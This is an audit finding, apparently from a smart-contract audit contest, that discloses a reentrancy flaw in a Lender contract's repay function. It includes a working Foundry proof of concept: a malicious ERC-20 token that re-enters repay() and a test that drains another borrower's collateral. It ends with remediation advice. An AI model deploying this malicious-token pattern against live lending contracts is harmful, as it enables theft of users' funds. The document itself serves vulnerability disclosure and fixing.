20,000 USDC
View results
Submission Details
Severity: high
Valid

Re-entrancy vulnerability resulting in loss of user funds

Re-entrancy vulnerability resulting in loss of user funds

Summary

Multiple functions in the Lender contract are vulnerable to reentrancy attacks due to allowing arbitrary ERC-20 tokens as a loan/collateral token. This allows an attacker to use a malicious ERC-20 token as the loanToken in a new pool and create a loan that allows re-entering the repay function and effectively steal collateral from the Lender contract.

Vulnerability Details

The Lender contract allows anyone to create a new pool with arbitrary ERC-20 tokens as the loanToken and collateralToken. All token funds shared across pools are stored in the Lender contract.

Using a custom and malicious ERC-20 token, an attacker can create a new pool with this token as the loanToken and the collateralToken set to the token address of the desired funds to steal. Repaying a loan from this pool will transfer the loan tokens from the caller to the Lender contract, as seen in lines 317-321. Due to using the malicious token and by deleting the loan after the token transfer, the repay function can be re-entered, resulting in twice as much loan.collateral being returned to the borrower.

The attack requires creating two loans within this new pool to be able to decrement outstandingLoans in line 314 repeatedly. For details, please see the test case below.

Test Case

The following test case demonstrates the attack scenario using a custom and malicious ERC-20 token, which re-enters the repay function to steal collateral from the Lender contract.

Git diff (click to reveal)
diff --git a/test/Lender.t.sol b/test/Lender.t.sol
index 4f54a45..7398f9a 100644
--- a/test/Lender.t.sol
+++ b/test/Lender.t.sol
@@ -21,24 +21,67 @@ contract TERC20 is ERC20 {
}
}
+contract MaliciousERC20 is ERC20 {
+ Lender public lender;
+ bool startAttack;
+
+ constructor(address _lender) {
+ lender = Lender(_lender);
+ }
+
+ function name() public pure override returns (string memory) {
+ return "Malicious Test ERC20";
+ }
+
+ function symbol() public pure override returns (string memory) {
+ return "Mal_TERC20";
+ }
+
+ function mint(address _to, uint256 _amount) public {
+ _mint(_to, _amount);
+ }
+
+ function attack() public {
+ startAttack = true;
+ }
+
+ function _beforeTokenTransfer(address from, address to, uint256 amount) override internal {
+ if (startAttack) {
+ startAttack = false;
+
+ uint256[] memory loanIds = new uint256[](1);
+ loanIds[0] = 1;
+
+ _mint(address(this), 1 wei); // mint 1 wei to repay the debt
+ _approve(address(this), address(lender), 1 wei);
+
+ lender.repay(loanIds);
+ }
+ }
+}
+
contract LenderTest is Test {
Lender public lender;
TERC20 public loanToken;
TERC20 public collateralToken;
- address public lender1 = address(0x1);
- address public lender2 = address(0x2);
- address public borrower = address(0x3);
- address public fees = address(0x4);
+ address public lender1 = vm.addr(0x1);
+ address public lender2 = vm.addr(0x2);
+ address public borrower = vm.addr(0x3);
+ address public borrower2 = vm.addr(0x4);
+ address public fees = vm.addr(0x4);
function setUp() public {
+ vm.label(borrower2, "borrower2");
+
lender = new Lender();
loanToken = new TERC20();
collateralToken = new TERC20();
loanToken.mint(address(lender1), 100000*10**18);
loanToken.mint(address(lender2), 100000*10**18);
collateralToken.mint(address(borrower), 100000*10**18);
+ collateralToken.mint(address(borrower2), 100000*10**18);
vm.startPrank(lender1);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
@@ -48,6 +91,9 @@ contract LenderTest is Test {
vm.startPrank(borrower);
loanToken.approve(address(lender), 1000000*10**18);
collateralToken.approve(address(lender), 1000000*10**18);
+ vm.startPrank(borrower2);
+ loanToken.approve(address(lender), 1000000*10**18);
+ collateralToken.approve(address(lender), 1000000*10**18);
}
function test_createPool() public {
@@ -180,6 +226,71 @@ contract LenderTest is Test {
assertEq(poolBalance, 1000*10**18);
}
+ function test_drain_funds_with_repay() public {
+ /** 1. Setup malicious ERC-20 token which re-enters the repay function */
+ MaliciousERC20 maliciousLoanToken = new MaliciousERC20(address(lender));
+ maliciousLoanToken.mint(address(borrower2), 1_000_000 ether);
+
+ vm.prank(borrower2); // @audit-info borrower and lender are the same
+ maliciousLoanToken.approve(address(lender), type(uint256).max);
+
+ /** 2. Setup legit pool and loan which collateral will be stolen from */
+ test_borrow();
+
+ /** 3. Setup malicious pool */
+ vm.startPrank(borrower2);
+ Pool memory p = Pool({
+ lender: borrower2,
+ loanToken: address(maliciousLoanToken),
+ collateralToken: address(collateralToken),
+ minLoanSize: 1 wei,
+ poolBalance: 1_000 ether,
+ maxLoanRatio: 1_000 ether, // @audit-info highly inflated max loan ratio
+ auctionLength: 1 days,
+ interestRate: 0,
+ outstandingLoans: 0
+ });
+ bytes32 maliciousPoolId = lender.setPool(p);
+
+ (,,,,uint256 poolBalance,,,,) = lender.pools(maliciousPoolId);
+ assertEq(poolBalance, 1_000 ether);
+
+ // 4. Create two loans - the second loan is required to be able to decrement `outstandingLoans` twice during the reentrancy.
+ Borrow memory b = Borrow({
+ poolId: maliciousPoolId,
+ debt: 1 wei,
+ collateral: 100 ether
+ });
+ Borrow memory b2 = Borrow({
+ poolId: maliciousPoolId,
+ debt: 1 wei,
+ collateral: 1 wei
+ });
+ Borrow[] memory borrows = new Borrow[](2);
+ borrows[0] = b;
+ borrows[1] = b2;
+ lender.borrow(borrows);
+
+ assertEq(collateralToken.balanceOf(address(lender)), 100 ether + 100 ether + 1 wei); // collateral deposits from all loans
+
+ uint256[] memory loanIds = new uint256[](1);
+ loanIds[0] = 1;
+
+ uint256 collateralTokenBalanceBefore = collateralToken.balanceOf(address(borrower2));
+
+ /** 5. Start attack */
+ maliciousLoanToken.attack();
+
+ /** 6. Repay loan -> will re-enter via the `MaliciousERC20` token */
+ lender.repay(loanIds);
+
+ uint256 collateralTokensReceivedByBorrower2 = collateralToken.balanceOf(address(borrower2)) - collateralTokenBalanceBefore;
+
+ /** 7. Profit */
+ assertEq(collateralTokensReceivedByBorrower2, 200 ether); // @audit-info borrower2 receives 200 ether in collateral tokens (100 stolen from borrower1)
+ assertEq(collateralToken.balanceOf(address(lender)), 1);
+ }
+
function testFail_repayNoTokens() public {
test_borrow();

How to run this test case:

Save git diff to a file named exploit-repay-reentrancy.patch and run with

git apply exploit-repay-reentrancy.patch
forge test -vv --match-test "test_drain_funds_with_repay"

Result:

Running 1 test for test/Lender.t.sol:LenderTest
[PASS] test_drain_funds_with_repay() (gas: 1846184)
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.76ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)

Impact

Funds (collateral) can be drained from the contract and stolen from other borrowers.

Tools Used

Manual Review

Recommendations

Consider transferring tokens after all state changes have been made (e.g., deleting the loan) to prevent reentrancy, and consider adding a reentrancy guard to the affected functions.

The following functions are vulnerable to reentrancy by using a malicious ERC-20 token:

  • Lender.repay()

  • Lender.seizeLoan()

  • Lender.refinance()

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!